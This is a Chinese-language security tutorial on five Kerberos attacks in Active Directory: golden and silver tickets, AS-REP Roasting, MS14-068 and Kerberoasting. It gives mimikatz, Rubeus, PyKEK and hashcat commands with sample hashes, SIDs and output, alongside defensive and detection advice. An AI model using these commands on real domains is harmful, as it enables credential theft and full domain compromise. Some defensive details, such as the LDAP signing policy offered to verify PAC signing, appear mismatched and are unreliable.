
Kerberos协议5大攻击手法深度解析从黄金票据到AS-REP Roasting实战复现在当今企业网络环境中Active DirectoryAD域服务已成为身份认证和访问控制的核心基础设施。作为AD域认证的基石Kerberos协议的安全性直接关系到整个域环境的安全。然而正是这个看似严密的认证体系却隐藏着诸多攻击面。本文将深入剖析Kerberos协议中最具威胁的5种攻击手法从原理分析到实战复现为安全从业者提供全面的攻防视角。1. Kerberos协议核心机制与攻击面概览Kerberos协议作为一种基于票据的三方认证机制其设计初衷是为网络服务提供强身份验证。整个认证流程涉及三个核心角色客户端Client、服务端Server和密钥分发中心KDC。在Windows域环境中KDC服务默认安装在域控制器上由认证服务AS和票据授予服务TGS两个组件构成。Kerberos认证流程关键阶段AS-REQ/AS-REP客户端向AS请求票据授予票据TGTTGS-REQ/TGS-REP客户端使用TGT向TGS请求服务票据STAP-REQ/AP-REP客户端使用ST向目标服务请求访问每个阶段都依赖前一步生成的加密凭据进行验证这种链式信任机制恰恰成为攻击者突破的关键点。以下是Kerberos协议中5个最危险的攻击面攻击手法利用阶段所需条件影响范围黄金票据TGT伪造krbtgt账户哈希全域权限白银票据ST伪造服务账户哈希特定服务AS-REP Roasting预认证绕过用户禁用预认证用户凭证MS14-068PAC篡改普通域账户域管理员权限KerberoastingTGS破解服务SPN注册服务账户哈希提示理解这些攻击手法的前提是掌握Kerberos协议中TGT和ST的加密机制。TGT使用krbtgt账户的NTLM哈希加密而ST则使用目标服务账户的NTLM哈希加密。2. 黄金票据攻击域持久化的终极武器黄金票据Golden Ticket攻击是Kerberos协议中最危险的攻击手法之一它允许攻击者在获取krbtgt账户哈希后伪造任意用户的TGT票据实现全域权限维持。攻击原理深度解析当客户端通过AS认证后AS会返回使用krbtgt哈希加密的TGT。由于krbtgt账户的密码极少更改通常只在域功能级别升级时一旦获取该哈希攻击者便可自主签发TGT完全绕过AS的身份验证。实战复现步骤获取krbtgt账户哈希需已获取域控权限mimikatz # lsadump::dcsync /domain:corp.com /user:krbtgt [DC] corp.com will be the domain [DC] DC01.corp.com will be the DC server [DC] krbtgt will be the user account Object RDN : krbtgt ** NTLM : ac3e1d7f56e0adf967356b8d41953e2 **伪造黄金票据mimikatz # kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac3e1d7f56e0adf967356b8d41953e2 /ptt User : Administrator Domain : corp.com (CORP) SID : S-1-5-21-954094320-202977030-1482179831 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: ac3e1d7f56e0adf967356b8d41953e2 - rc4_hmac_nt Lifetime : 8/5/2023 10:00:00 AM ; 8/3/2033 10:00:00 AM ; 8/3/2033 10:00:00 AM - Ticket : ** Pass The Ticket **验证权限提升dir \\dc01.corp.com\c$ net group Domain Admins /domain防御建议定期轮换krbtgt账户密码至少每6个月一次实施特权账户管理PAM解决方案监控异常TGT请求事件ID 4769加密类型为0x173. 白银票据攻击针对特定服务的精准打击与黄金票据不同白银票据Silver Ticket攻击针对的是特定服务通过伪造服务票据ST实现对目标服务的未授权访问。技术对比分析特性黄金票据白银票据加密密钥krbtgt哈希服务账户哈希票据类型TGTST验证流程需与KDC交互直接访问服务检测难度较易被检测难以检测实战案例伪造CIFS服务票据获取服务账户哈希以CIFS服务为例mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 996 (00000000:000003e4) User Name : DC01$ Domain : CORP NTLM : 2c7f354c971b062e1e42f12a30709a7f生成白银票据mimikatz # kerberos::golden /user:WebAdmin /domain:corp.com /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC01.corp.com /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /ptt访问文件共享dir \\DC01.corp.com\c$关键限制只能访问特定服务如CIFS、HTTP、MSSQL等票据有效期受服务端策略限制不包含PAC信息某些服务会验证失败注意白银票据攻击不会在域控生成日志防御需依赖终端检测如Windows Defender ATP或网络流量分析。4. AS-REP Roasting预认证绕过的凭证窃取AS-REP Roasting攻击利用Kerberos预认证机制的缺失通过离线破解获取用户密码哈希。当用户账户设置了不需要Kerberos预认证选项时攻击者可以直接请求该用户的AS-REP响应进行破解。攻击流程分解识别禁用预认证的账户Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth请求AS-REP响应Rubeus.exe asreproast /user:TestUser /format:hashcat /outfile:hashes.txt离线破解哈希hashcat -m 18200 hashes.txt rockyou.txt -r rules/best64.rule防御矩阵预防措施禁用所有用户的不需要预认证选项设置强密码策略最小长度15字符检测手段监控事件ID 4768预认证失败分析异常的AS-REQ请求模式响应建议立即重置受影响账户密码审查账户的敏感权限分配5. MS14-068漏洞从普通用户到域管的神奇跳跃MS14-068CVE-2014-6324是Kerberos协议中PAC验证机制的漏洞允许普通域用户伪造包含特权PAC的TGT从而提升至域管理员权限。漏洞原理精要PACPrivilege Attribute Certificate是微软引入的授权数据扩展包含用户SID和组信息。正常情况下PAC由KDC使用krbtgt密钥签名。该漏洞允许攻击者篡改PAC中的组信息而不破坏签名验证。漏洞复现步骤获取普通域用户SIDwhoami /user S-1-5-21-954094320-202977030-1482179831-1107生成伪造的TGTPYKEK\ms14-068.py -u user1corp.com -s S-1-5-21-954094320-202977030-1482179831-1107 -d dc01.corp.com -p Password123注入票据并获取域管权限mimikatz # kerberos::ptc TGT_user1corp.com.ccache net use \\dc01.corp.com\c$补丁验证检查KB3011780补丁安装状态验证域控是否启用PAC签名Group Policy Computer Configuration Policies Windows Settings Security Settings Local Policies Security Options Domain controller: LDAP server signing requirements6. Kerberoasting攻击服务账户的噩梦Kerberoasting攻击针对注册了SPN的服务账户通过请求服务票据ST并离线破解获取服务账户的凭据。攻击生命周期枚举SPN账户Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName请求服务票据Rubeus.exe kerberoast /outfile:hashes.txt转换票据格式并破解hashcat -m 13100 hashes.txt rockyou.txt -r rules/d3ad0ne.rule防御进阶方案缓解措施使用组托管服务账户gMSA设置服务账户长随机密码25字符检测策略监控异常的TGS-REQ请求事件ID 4769分析高频率的服务票据请求响应流程轮换所有受影响服务账户密码审查服务账户的权限分配在真实域环境中这些攻击手法往往组合使用。攻击者可能先通过AS-REP Roasting获取普通用户权限再利用Kerberoasting获取服务账户最终通过黄金票据实现全域控制。防御者需要建立多层检测机制从网络流量、终端日志到行为分析构建全面的防护体系。